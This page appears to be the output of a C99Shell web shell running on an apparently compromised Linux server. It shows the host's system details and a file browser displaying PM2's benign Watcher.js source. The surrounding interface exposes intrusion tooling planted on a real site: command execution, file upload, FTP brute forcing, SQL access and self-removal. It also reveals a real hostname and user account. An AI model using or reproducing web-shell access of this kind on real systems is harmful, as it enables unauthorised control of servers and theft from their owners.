!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/.nvm/versions/node/v18.17.1/lib/node_modules/pm2/lib/   drwxr-xr-x
Free 23.73 GB of 117.98 GB (20.11%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Watcher.js (2.91 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/**
 * Copyright 2013-2022 the PM2 project authors. All rights reserved.
 * Use of this source code is governed by a license that
 * can be found in the LICENSE file.
 */
var chokidar = require('chokidar');
var util     = require('util');
var log      = require('debug')('pm2:watch');

module.exports = function ClusterMode(God) {
  /**
   * Watch folder for changes and restart
   * @method watch
   * @param {Object} pm2_env pm2 app environnement
   * @return MemberExpression
   */
  God.watch = {};

  God.watch._watchers = {};

  God.watch.enable = function(pm2_env) {
    if (God.watch._watchers[pm2_env.pm_id]) {
      God.watch._watchers[pm2_env.pm_id].close();
      God.watch._watchers[pm2_env.pm_id] = null;
      delete God.watch._watchers[pm2_env.pm_id];
    }

    log('Initial watch ', pm2_env.watch)

    var watch = pm2_env.watch

    if(typeof watch == 'boolean' || Array.isArray(watch) && watch.length === 0)
      watch = pm2_env.pm_cwd;

    log('Watching %s', watch);

    var watch_options = {
      ignored       : pm2_env.ignore_watch || /[\/\\]\.|node_modules/,
      persistent    : true,
      ignoreInitial : true,
      cwd: pm2_env.pm_cwd
    };

    if (pm2_env.watch_options) {
      watch_options = Object.assign(watch_options, pm2_env.watch_options);
    }

    log('Watch opts', watch_options);

    var watcher = chokidar.watch(watch, watch_options);

    console.log('[Watch] Start watching', pm2_env.name);

    watcher.on('all', function(event, path) {
      var self = this;

      if (self.restarting === true) {
        log('Already restarting, skipping');
        return false;
      }

      self.restarting = true;

      console.log('Change detected on path %s for app %s - restarting', path, pm2_env.name);

      setTimeout(function() {
        God.restartProcessName(pm2_env.name, function(err, list) {
          self.restarting = false;

          if (err) {
            log('Error while restarting', err);
            return false;
          }

          return log('Process restarted');
        });
      }, (pm2_env.watch_delay || 0));

      return false;
    });

    watcher.on('error', function(e) {
      console.error(e.stack || e);
    });

    God.watch._watchers[pm2_env.pm_id] = watcher;

    //return God.watch._watchers[pm2_env.name];
  },
  /**
   * Description
   * @method close
   * @param {} id
   * @return
   */
  God.watch.disableAll = function() {
    var watchers = God.watch._watchers;

    console.log('[Watch] PM2 is being killed. Watch is disabled to avoid conflicts');
    for (var i in watchers) {
      watchers[i].close && watchers[i].close();
      watchers.splice(i, 1);
    }
  },

  God.watch.disable = function(pm2_env) {
    var watcher = God.watch._watchers[pm2_env.pm_id]
    if (watcher) {
      console.log('[Watch] Stop watching', pm2_env.name);
      watcher.close();
      delete God.watch._watchers[pm2_env.pm_id];
      return true;
    } else {
      return false;
    }
  }
};

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--